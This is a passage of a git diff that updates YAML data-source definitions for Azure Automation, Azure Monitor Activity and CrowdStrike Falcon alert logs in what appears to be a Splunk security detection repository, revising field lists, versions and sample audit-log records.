"67165197-75ea-4ca3-96a5-3e23868eacd0"}, "status": {"value": "Succeeded", "localizedValue": "Succeeded"}, "subStatus": {"value": "", "localizedValue": ""}, "eventTimestamp": "2022-08-22T15:09:21.8694806Z", "submissionTimestamp": "2022-08-22T15:10:51.152208Z", "subscriptionId": "67165197-75ea-4ca3-96a5-3e23868eacd0"}' +example_log: | + {"authorization": {"action": "Microsoft.Automation/automationAccounts/write", "scope": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount"}, "caller": "evilAdmin@contoso.com", "channels": "Operation", "claims": {"aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/ad251139-d600-4f45-a8ba-9f6ca1e5a93d/", "iat": "1661179930", "nbf": "1661179930", "exp": "1661185179", "http://schemas.microsoft.com/claims/authnclassreference": "1", "aio": "AWQAm/8TAAAATFEszAxfULi02mHZwJPr322a2w4m7xjhs9xgc61bVQITM6lcvJI17c8SKQGIWgIA0FysfS1bmLHdxImNfT26qJ5Sfc5UdTncHkz3UYu+AvgCW1gg1mRxOZEFXYdIlQ/h", "altsecid": "1:live.com:000161008492EF5F", "http://schemas.microsoft.com/claims/authnmethodsreferences": "pwd,mfa", "appid": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", "appidacr": "2", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "evilAdmin@contoso.com", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname": "Doe", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname": "John", "groups": "ecb1fc87-1938-45ff-aaf3-661cee183b11", "http://schemas.microsoft.com/identity/claims/identityprovider": "live.com", "ipaddr": "190.0.0.1", "name": "John Doe", "http://schemas.microsoft.com/identity/claims/objectidentifier": "74b87c49-c202-4101-a8aa-ef18ecc815e8", "puid": "1003200203ECE231", "rh": "0.AX0AORElrQDWRU-oup9soeWpPUZIf3kAutdPukPawfj2MBOaAIM.", "http://schemas.microsoft.com/identity/claims/scope": "user_impersonation", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "VVjyH6MJP7pqXTBGCn4NMckGNjX-aYB_Oh7LcI9kaDw", "http://schemas.microsoft.com/identity/claims/tenantid": "ad251139-d600-4f45-a8ba-9f6ca1e5a93d", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "contoso.com#evilAdmin@contoso.com", "uti": "OyNAqM760kmqzxVr6jwtAA", "ver": "1.0", "wids": "62e90394-69f5-4237-9190-012177145e10", "xms_tcdt": "1654791641"}, "correlationId": "59e3de3b-b8c6-4360-9bc5-f094ebce6422", "description": "", "eventDataId": "b0a0bf02-57e5-4eb3-a36d-f2681d874637", "eventName": {"value": "EndRequest", "localizedValue": "End request"}, "eventSource": {"value": "Administrative", "localizedValue": "Administrative"}, "id": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount/events/b0a0bf02-57e5-4eb3-a36d-f2681d874637/ticks/637967777618694806", "level": "Informational", "resourceGroupName": "ResourceGroup1", "resourceProviderName": {"value": "Microsoft.Automation", "localizedValue": "Microsoft.Automation"}, "resourceUri": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount", "operationId": "6a420172-1ccd-4144-ac12-3095b4019ed5", "operationName": {"value": "Microsoft.Automation/automationAccounts/write", "localizedValue": "Create or Update an Azure Automation account"}, "properties": {"eventCategory": "Administrative", "entity": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount", "message": "Microsoft.Automation/automationAccounts/write", "hierarchy": "67165197-75ea-4ca3-96a5-3e23868eacd0"}, "status": {"value": "Succeeded", "localizedValue": "Succeeded"}, "subStatus": {"value": "", "localizedValue": ""}, "eventTimestamp": "2022-08-22T15:09:21.8694806Z", "submissionTimestamp": "2022-08-22T15:10:51.152208Z", "subscriptionId": "67165197-75ea-4ca3-96a5-3e23868eacd0"} diff --git a/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml b/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml index fc2ceb3233..f91d7d52d8 100644 --- a/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml +++ b/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml @@ -1,8 +1,8 @@ name: Azure Audit Create or Update an Azure Automation Runbook id: 2bd83221-7a8b-436f-9b2b-efa1d44d009e -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a new Azure Automation Runbook is created or an existing one is updated. mitre_components: @@ -69,6 +69,9 @@ fields: - eventSource.value - eventTimestamp - host + - httpRequest.clientIpAddress + - httpRequest.clientRequestId + - httpRequest.method - id - index - level @@ -84,20 +87,26 @@ fields: - properties.eventCategory - properties.hierarchy - properties.message + - properties.serviceRequestId + - properties.statusCode - punct - resourceGroupName - resourceProviderName.localizedValue - resourceProviderName.value - resourceUri + - result + - result_id - source - sourcetype - splunk_server + - src - status - status.localizedValue - status.value - - subStatus.value - submissionTimestamp - subscriptionId + - subStatus.localizedValue + - subStatus.value - timeendpos - timestartpos - user @@ -111,4 +120,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"authorization": {"action": "Microsoft.Automation/automationAccounts/runbooks/write", "scope": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourceGroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook"}, "caller": "evilAdmin@contoso.com", "channels": "Operation", "claims": {"aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/ad251139-d600-4f45-a8ba-9f6ca1e5a93d/", "iat": "1661194261", "nbf": "1661194261", "exp": "1661198249", "http://schemas.microsoft.com/claims/authnclassreference": "1", "aio": "AWQAm/8TAAAA3iMcbqqPPdXPATT7oalIKsh6wEFsyQ+zUVCshaLu77xsLlt067TtI11gy5hAx+z905hrX1VBehDGaedvEg2UF0BSbHVL9bJrry4zk3Xt+HNt5dTXDDgABOFuNB4QJBUW", "altsecid": "1:live.com:000161008492EF5F", "http://schemas.microsoft.com/claims/authnmethodsreferences": "pwd,mfa", "appid": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", "appidacr": "2", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "evilAdmin@contoso.com", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname": "Doe", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname": "John", "groups": "ecb1fc87-1938-45ff-aaf3-661cee183b11", "http://schemas.microsoft.com/identity/claims/identityprovider": "live.com", "ipaddr": "190.0.0.1", "name": "John Doe", "http://schemas.microsoft.com/identity/claims/objectidentifier": "74b87c49-c202-4101-a8aa-ef18ecc815e8", "puid": "1003200203ECE231", "rh": "0.AX0AORElrQDWRU-oup9soeWpPUZIf3kAutdPukPawfj2MBOaAIM.", "http://schemas.microsoft.com/identity/claims/scope": "user_impersonation", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "VVjyH6MJP7pqXTBGCn4NMckGNjX-aYB_Oh7LcI9kaDw", "http://schemas.microsoft.com/identity/claims/tenantid": "ad251139-d600-4f45-a8ba-9f6ca1e5a93d", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "contoso.com#evilAdmin@contoso.com", "uti": "YMAP5fOmMkuuBUgBe-Z5AA", "ver": "1.0", "wids": "62e90394-69f5-4237-9190-012177145e10", "xms_tcdt": "1654791641"}, "correlationId": "49b945c0-966a-48d8-b79b-31f184544594", "description": "", "eventDataId": "303f17eb-10cb-458f-8a80-683f40f123a2", "eventName": {"value": "EndRequest", "localizedValue": "End request"}, "eventSource": {"value": "Administrative", "localizedValue": "Administrative"}, "id": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourcegroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook/events/303f17eb-10cb-458f-8a80-683f40f123a2/ticks/637967920541346086", "level": "Informational", "resourceGroupName": "resourceGroup1", "resourceProviderName": {"value": "Microsoft.Automation", "localizedValue": "Microsoft.Automation"}, "resourceUri": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourcegroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook", "operationId": "b6e30ace-986c-4735-980f-926db0b43336", "operationName": {"value": "Microsoft.Automation/automationAccounts/runbooks/write", "localizedValue": "Create or Update an Azure Automation Runbook"}, "properties": {"eventCategory": "Administrative", "entity": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourcegroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook", "message": "Microsoft.Automation/automationAccounts/runbooks/write", "hierarchy": "1aee0e3d-b75b-440a-a927-76f0552a14e6"}, "status": {"value": "Succeeded", "localizedValue": "Succeeded"}, "subStatus": {"value": "", "localizedValue": ""}, "eventTimestamp": "2022-08-22T19:07:34.1346086Z", "submissionTimestamp": "2022-08-22T19:08:54.1547383Z", "subscriptionId": "1aee0e3d-b75b-440a-a927-76f0552a14e6"}' +example_log: | + {"authorization": {"action": "Microsoft.Automation/automationAccounts/runbooks/write", "scope": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourceGroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook"}, "caller": "evilAdmin@contoso.com", "channels": "Operation", "claims": {"aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/ad251139-d600-4f45-a8ba-9f6ca1e5a93d/", "iat": "1661194261", "nbf": "1661194261", "exp": "1661198249", "http://schemas.microsoft.com/claims/authnclassreference": "1", "aio": "AWQAm/8TAAAA3iMcbqqPPdXPATT7oalIKsh6wEFsyQ+zUVCshaLu77xsLlt067TtI11gy5hAx+z905hrX1VBehDGaedvEg2UF0BSbHVL9bJrry4zk3Xt+HNt5dTXDDgABOFuNB4QJBUW", "altsecid": "1:live.com:000161008492EF5F", "http://schemas.microsoft.com/claims/authnmethodsreferences": "pwd,mfa", "appid": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", "appidacr": "2", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "evilAdmin@contoso.com", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname": "Doe", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname": "John", "groups": "ecb1fc87-1938-45ff-aaf3-661cee183b11", "http://schemas.microsoft.com/identity/claims/identityprovider": "live.com", "ipaddr": "190.0.0.1", "name": "John Doe", "http://schemas.microsoft.com/identity/claims/objectidentifier": "74b87c49-c202-4101-a8aa-ef18ecc815e8", "puid": "1003200203ECE231", "rh": "0.AX0AORElrQDWRU-oup9soeWpPUZIf3kAutdPukPawfj2MBOaAIM.", "http://schemas.microsoft.com/identity/claims/scope": "user_impersonation", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "VVjyH6MJP7pqXTBGCn4NMckGNjX-aYB_Oh7LcI9kaDw", "http://schemas.microsoft.com/identity/claims/tenantid": "ad251139-d600-4f45-a8ba-9f6ca1e5a93d", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "contoso.com#evilAdmin@contoso.com", "uti": "YMAP5fOmMkuuBUgBe-Z5AA", "ver": "1.0", "wids": "62e90394-69f5-4237-9190-012177145e10", "xms_tcdt": "1654791641"}, "correlationId": "49b945c0-966a-48d8-b79b-31f184544594", "description": "", "eventDataId": "303f17eb-10cb-458f-8a80-683f40f123a2", "eventName": {"value": "EndRequest", "localizedValue": "End request"}, "eventSource": {"value": "Administrative", "localizedValue": "Administrative"}, "id": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourcegroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook/events/303f17eb-10cb-458f-8a80-683f40f123a2/ticks/637967920541346086", "level": "Informational", "resourceGroupName": "resourceGroup1", "resourceProviderName": {"value": "Microsoft.Automation", "localizedValue": "Microsoft.Automation"}, "resourceUri": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourcegroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook", "operationId": "b6e30ace-986c-4735-980f-926db0b43336", "operationName": {"value": "Microsoft.Automation/automationAccounts/runbooks/write", "localizedValue": "Create or Update an Azure Automation Runbook"}, "properties": {"eventCategory": "Administrative", "entity": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourcegroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook", "message": "Microsoft.Automation/automationAccounts/runbooks/write", "hierarchy": "1aee0e3d-b75b-440a-a927-76f0552a14e6"}, "status": {"value": "Succeeded", "localizedValue": "Succeeded"}, "subStatus": {"value": "", "localizedValue": ""}, "eventTimestamp": "2022-08-22T19:07:34.1346086Z", "submissionTimestamp": "2022-08-22T19:08:54.1547383Z", "subscriptionId": "1aee0e3d-b75b-440a-a927-76f0552a14e6"} diff --git a/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml b/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml index 1b8fe4bbad..2fb264a4b1 100644 --- a/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml +++ b/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml @@ -1,8 +1,8 @@ name: Azure Audit Create or Update an Azure Automation webhook id: 575faeb2-09d0-4849-b1f6-eae241f26ff2 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a webhook is created or updated in Azure Automation. mitre_components: @@ -104,10 +104,10 @@ fields: - status - status.localizedValue - status.value - - subStatus.localizedValue - - subStatus.value - submissionTimestamp - subscriptionId + - subStatus.localizedValue + - subStatus.value - timeendpos - timestartpos - user @@ -119,4 +119,5 @@ output_fields: - dest - user - src -example_log: '{"authorization": {"action": "Microsoft.Automation/automationAccounts/webhooks/write", "scope": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook"}, "caller": "evilAdmin@contoso.com", "channels": "Operation", "claims": {"aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/ad251139-d600-4f45-a8ba-9f6ca1e5a93d/", "iat": "1661287859", "nbf": "1661287859", "exp": "1661293423", "http://schemas.microsoft.com/claims/authnclassreference": "1", "aio": "AWQAm/8TAAAAEendcgWjYQFuDhNNhoecwU3dpXjjenSsIvjamk77+TjLK/o1xkFGcFb1A+OVyuY+xefe0X39n8lx1iFWFqGo0GSNNKhm9OQcv/0UyXiaNIbKD7wisgQhAa9DoIyObMpO", "altsecid": "1:contoso.com:000161008492EF5F", "http://schemas.microsoft.com/claims/authnmethodsreferences": "pwd,mfa", "appid": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", "appidacr": "2", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "evilAdmin@contosol.com", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname": "Doe", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname": "John", "groups": "ecb1fc87-1938-45ff-aaf3-661cee183b11", "http://schemas.microsoft.com/identity/claims/identityprovider": "contoso.com", "ipaddr": "190.0.0.1", "name": "John Doe", "http://schemas.microsoft.com/identity/claims/objectidentifier": "74b87c49-c202-4101-a8aa-ef18ecc815e8", "puid": "1003200203ECE231", "rh": "0.AX0AORElrQDWRU-oup9soeWpPUZIf3kAutdPukPawfj2MBOaAIM.", "http://schemas.microsoft.com/identity/claims/scope": "user_impersonation", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "VVjyH6MJP7pqXTBGCn4NMckGNjX-aYB_Oh7LcI9kaDw", "http://schemas.microsoft.com/identity/claims/tenantid": "ad251139-d600-4f45-a8ba-9f6ca1e5a93d", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "contoso.com#evilAdmin@contoso.com", "uti": "epgtY-85CUeb6aJpaE0KAQ", "ver": "1.0", "wids": "62e90394-69f5-4237-9190-012177145e10", "xms_tcdt": "1654791641"}, "correlationId": "74e18a58-ee2e-40de-890d-de0c155f7086", "description": "", "eventDataId": "35b9db88-8041-413e-8dd7-f8dc243eafdd", "eventName": {"value": "EndRequest", "localizedValue": "End request"}, "eventSource": {"value": "Administrative", "localizedValue": "Administrative"}, "httpRequest": {"clientRequestId": "6934b40a-c11f-4379-9ef1-c6fa3cee5015", "clientIpAddress": "190.0.0.1", "method": "PUT"}, "id": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook/events/35b9db88-8041-413e-8dd7-f8dc243eafdd/ticks/637968850422707386", "level": "Informational", "resourceGroupName": "eventhub_rg", "resourceProviderName": {"value": "Microsoft.Automation", "localizedValue": "Microsoft.Automation"}, "resourceUri": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook", "operationId": "74e18a58-ee2e-40de-890d-de0c155f7086", "operationName": {"value": "Microsoft.Automation/automationAccounts/webhooks/write", "localizedValue": "Create or Update an Azure Automation webhook"}, "properties": {"statusCode": "Created", "serviceRequestId": null, "eventCategory": "Administrative", "entity": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook", "message": "Microsoft.Automation/automationAccounts/webhooks/write", "hierarchy": "e0c00901-96b2-4151-80f7-746e24c03e98"}, "status": {"value": "Succeeded", "localizedValue": "Succeeded"}, "subStatus": {"value": "Created", "localizedValue": "Created (HTTP Status Code: 201)"}, "eventTimestamp": "2022-08-23T20:57:22.2707386Z", "submissionTimestamp": "2022-08-23T20:58:54.2071536Z", "subscriptionId": "e0c00901-96b2-4151-80f7-746e24c03e98"}' +example_log: | + {"authorization": {"action": "Microsoft.Automation/automationAccounts/webhooks/write", "scope": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook"}, "caller": "evilAdmin@contoso.com", "channels": "Operation", "claims": {"aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/ad251139-d600-4f45-a8ba-9f6ca1e5a93d/", "iat": "1661287859", "nbf": "1661287859", "exp": "1661293423", "http://schemas.microsoft.com/claims/authnclassreference": "1", "aio": "AWQAm/8TAAAAEendcgWjYQFuDhNNhoecwU3dpXjjenSsIvjamk77+TjLK/o1xkFGcFb1A+OVyuY+xefe0X39n8lx1iFWFqGo0GSNNKhm9OQcv/0UyXiaNIbKD7wisgQhAa9DoIyObMpO", "altsecid": "1:contoso.com:000161008492EF5F", "http://schemas.microsoft.com/claims/authnmethodsreferences": "pwd,mfa", "appid": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", "appidacr": "2", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "evilAdmin@contosol.com", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname": "Doe", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname": "John", "groups": "ecb1fc87-1938-45ff-aaf3-661cee183b11", "http://schemas.microsoft.com/identity/claims/identityprovider": "contoso.com", "ipaddr": "190.0.0.1", "name": "John Doe", "http://schemas.microsoft.com/identity/claims/objectidentifier": "74b87c49-c202-4101-a8aa-ef18ecc815e8", "puid": "1003200203ECE231", "rh": "0.AX0AORElrQDWRU-oup9soeWpPUZIf3kAutdPukPawfj2MBOaAIM.", "http://schemas.microsoft.com/identity/claims/scope": "user_impersonation", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "VVjyH6MJP7pqXTBGCn4NMckGNjX-aYB_Oh7LcI9kaDw", "http://schemas.microsoft.com/identity/claims/tenantid": "ad251139-d600-4f45-a8ba-9f6ca1e5a93d", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "contoso.com#evilAdmin@contoso.com", "uti": "epgtY-85CUeb6aJpaE0KAQ", "ver": "1.0", "wids": "62e90394-69f5-4237-9190-012177145e10", "xms_tcdt": "1654791641"}, "correlationId": "74e18a58-ee2e-40de-890d-de0c155f7086", "description": "", "eventDataId": "35b9db88-8041-413e-8dd7-f8dc243eafdd", "eventName": {"value": "EndRequest", "localizedValue": "End request"}, "eventSource": {"value": "Administrative", "localizedValue": "Administrative"}, "httpRequest": {"clientRequestId": "6934b40a-c11f-4379-9ef1-c6fa3cee5015", "clientIpAddress": "190.0.0.1", "method": "PUT"}, "id": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook/events/35b9db88-8041-413e-8dd7-f8dc243eafdd/ticks/637968850422707386", "level": "Informational", "resourceGroupName": "eventhub_rg", "resourceProviderName": {"value": "Microsoft.Automation", "localizedValue": "Microsoft.Automation"}, "resourceUri": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook", "operationId": "74e18a58-ee2e-40de-890d-de0c155f7086", "operationName": {"value": "Microsoft.Automation/automationAccounts/webhooks/write", "localizedValue": "Create or Update an Azure Automation webhook"}, "properties": {"statusCode": "Created", "serviceRequestId": null, "eventCategory": "Administrative", "entity": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook", "message": "Microsoft.Automation/automationAccounts/webhooks/write", "hierarchy": "e0c00901-96b2-4151-80f7-746e24c03e98"}, "status": {"value": "Succeeded", "localizedValue": "Succeeded"}, "subStatus": {"value": "Created", "localizedValue": "Created (HTTP Status Code: 201)"}, "eventTimestamp": "2022-08-23T20:57:22.2707386Z", "submissionTimestamp": "2022-08-23T20:58:54.2071536Z", "subscriptionId": "e0c00901-96b2-4151-80f7-746e24c03e98"} diff --git a/data_sources/azure_monitor_activity.yml b/data_sources/azure_monitor_activity.yml index 8a57ac3379..6a32f69e8b 100644 --- a/data_sources/azure_monitor_activity.yml +++ b/data_sources/azure_monitor_activity.yml @@ -1,8 +1,8 @@ name: Azure Monitor Activity id: 1997a515-a61a-4f78-ada9-54af34c764f2 -version: 2 +version: 3 creation_date: '2025-01-13' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Azure Monitor Activity. The Splunk Add-on for Microsoft Cloud Services add-on is required to ingest In-Tune audit logs via Azure EventHub. To configure this logging, visit Intune > Tenant administration > Diagnostic settings > Add diagnostic settings & send events to the activity audit event hub. source: Azure AD @@ -13,13 +13,11 @@ supported_TA: url: https://splunkbase.splunk.com/app/3110 version: 6.3.3 fields: - - column - - action + - _time - category - change_type - command - correlationId - - dataset_name - date_hour - date_mday - date_minute @@ -28,20 +26,11 @@ fields: - date_wday - date_year - date_zone - - dest - dvc - - eventtype - host - identity - - image_id - index - - instance_type - linecount - - object - - object_attrs - - object_category - - object_id - - object_path - operationName - properties.ActivityDate - properties.ActivityResultStatus @@ -66,34 +55,21 @@ fields: - properties.Targets{}.ModifiedProperties{}.Old - properties.Targets{}.Name - punct - - resourceId - resource_provider - - response_body - result + - result_id - resultDescription - resultType - - result_id - source - sourcetype - splunk_server - - splunk_server_group - - src - status - - tag - - tag::action - - tag::eventtype - - tag::object_category - tenantId - time - timeendpos - timestartpos - - user - - user_name - user_type - vendor_account - - vendor_product - - vendor_region - - _time output_fields: - action - dest @@ -101,4 +77,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2024-04-29T13:30:28.8622000Z", "tenantId": "26db52ee-c1b5-4c96-a0d4-129e25dc0388", "category": "AuditLogs", "operationName": "createDeviceHealthScript DeviceHealthScript", "properties": {"ActivityDate": "4/29/2024 1:30:28 PM", "ActivityResultStatus": 1, "ActivityType": 0, "Actor": {"ActorType": 1, "Application": "5926fc8e-304e-4f59-8bed-58ca97cc39a4", "ApplicationName": "Microsoft Intune portal extension", "IsDelegatedAdmin": false, "Name": null, "ObjectId": "cf2ef473-7d3b-4f14-961c-2e470e9a70f2", "PartnerTenantId": "00000000-0000-0000-0000-000000000000", "UserPermissions": ["*"], "UPN": "brian.cove@frothlydev.onmicrosoft.com"}, "AdditionalDetails": "", "AuditEventId": "3e7e790e-f15a-4c2c-a91a-516483bb4e37", "Category": 3, "RelationId": null, "TargetDisplayNames": [""], "TargetObjectIds": ["b16fcad4-b9f5-46fe-9bf0-841cd9be7bc9"], "Targets": [{"ModifiedProperties": [{"Name": "DeviceManagementAPIVersion", "Old": null, "New": "5024-02-13"}], "Name": null}]}, "resultType": "Success", "resultDescription": "None", "correlationId": "949ac544-b4e5-4576-a117-915c47c0ee00", "identity": "brian.cove@frothlydev.onmicrosoft.com"}' +example_log: | + {"time": "2026-03-29T00:17:39.9903000Z", "tenantId": "32c6bdec-b3a3-4cec-a0ca-1df92bb99b5b", "category": "AuditLogs", "operationName": "wipe ManagedDevice", "properties": {"ActivityDate": "3/29/2026 12:17:39 AM", "ActivityResultStatus": 1, "ActivityType": 3, "Actor": {"ActorType": 1, "Application": "5926fc8e-304e-4f59-8bed-58ca97cc39a4", "ApplicationName": "Microsoft Intune portal extension", "IsDelegatedAdmin": false, "Name": null, "ObjectId": "f575e540-cc95-4422-8b09-0b275d214c68", "PartnerTenantId": "00000000-0000-0000-0000-000000000000", "UserPermissions": ["*"], "UPN": "bob@contoso.com"}, "AdditionalDetails": "", "AuditEventId": "1f252c59-e344-4844-8a15-1feda5e87466", "Category": 4, "RelationId": null, "TargetDisplayNames": ["wipe"], "TargetObjectIds": ["7a2db475-9dfd-4c42-9b46-464f9f8f8025"], "Targets": [{"ModifiedProperties": [{"Name": "keepEnrollmentData", "Old": null, "New": "False"}, {"Name": "AzureADDeviceId", "Old": null, "New": "4b652e2d-8015-4e7c-8263-f6ae89eda0d2"}, {"Name": "DeviceManagementAPIVersion", "Old": null, "New": "5025-10-23"}], "Name": "wipe"}]}, "resultType": "Success", "resultDescription": "None", "correlationId": "5b275c2d-4de1-447e-83eb-f132acf027f8", "identity": "bob@contoso.com"} diff --git a/data_sources/crowdstrike_falcon_stream_alert.yml b/data_sources/crowdstrike_falcon_stream_alert.yml index 7f538f050d..fbf131357c 100644 --- a/data_sources/crowdstrike_falcon_stream_alert.yml +++ b/data_sources/crowdstrike_falcon_stream_alert.yml @@ -1,8 +1,8 @@ name: CrowdStrike Falcon Stream Alert id: 52b38751-b0db-4965-a800-ebaabd1fd7d5 -version: 2 +version: 3 creation_date: '2025-07-01' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Bryan Pluta, Splunk description: Logs of CrowdStrike Falcon Stream Alerts mitre_components: @@ -19,54 +19,50 @@ supported_TA: url: https://splunkbase.splunk.com/app/5579 version: 3.2.0 fields: - - action - - description - - dest - - dest_nt_domain - - event.AssociatedFile + - _time + - event.AgentId + - event.AggregateId + - event.Author + - event.CloudIndicator - event.CommandLine - - event.ComputerName - - event.DetectDescription - - event.DetectId - - event.DetectName - - event.DocumentsAccessed{}.FileName - - event.DocumentsAccessed{}.FilePath - - event.DocumentsAccessed{}.Timestamp - - event.ExecutablesWritten{}.FileName - - event.ExecutablesWritten{}.FilePath - - event.ExecutablesWritten{}.Timestamp + - event.CompositeId + - event.DataDomains + - event.Description + - event.EndTimeEpoch - event.FalconHostLink - event.FileName - event.FilePath - - event.GrandparentCommandLine - - event.GrandparentImageFileName + - event.FilesAccessed{}.FileName + - event.FilesAccessed{}.FilePath + - event.FilesAccessed{}.Timestamp + - event.GrandParentCommandLine + - event.GrandParentImageFileName + - event.GrandParentImageFilePath - event.HostGroups - - event.IOARuleGroupName - - event.IOARuleInstanceID - - event.IOARuleInstanceVersion - - event.IOARuleName - - event.IOCType - - event.IOCValue + - event.Hostname + - event.HostNames + - event.IPv4Addresses - event.LocalIP + - event.LocalIPv6 + - event.LogonDomain - event.MACAddress + - event.MD5Hashes - event.MD5String - - event.MachineDomain - - event.NetworkAccesses{}.AccessTimestamp - - event.NetworkAccesses{}.AccessType - - event.NetworkAccesses{}.ConnectionDirection - - event.NetworkAccesses{}.IsIPV6 - - event.NetworkAccesses{}.LocalAddress - - event.NetworkAccesses{}.LocalPort - - event.NetworkAccesses{}.Protocol - - event.NetworkAccesses{}.RemoteAddress - - event.NetworkAccesses{}.RemotePort + - event.MitreAttack{}.PatternID + - event.MitreAttack{}.Tactic + - event.MitreAttack{}.TacticID + - event.MitreAttack{}.Technique + - event.MitreAttack{}.TechniqueID + - event.Name - event.Objective - 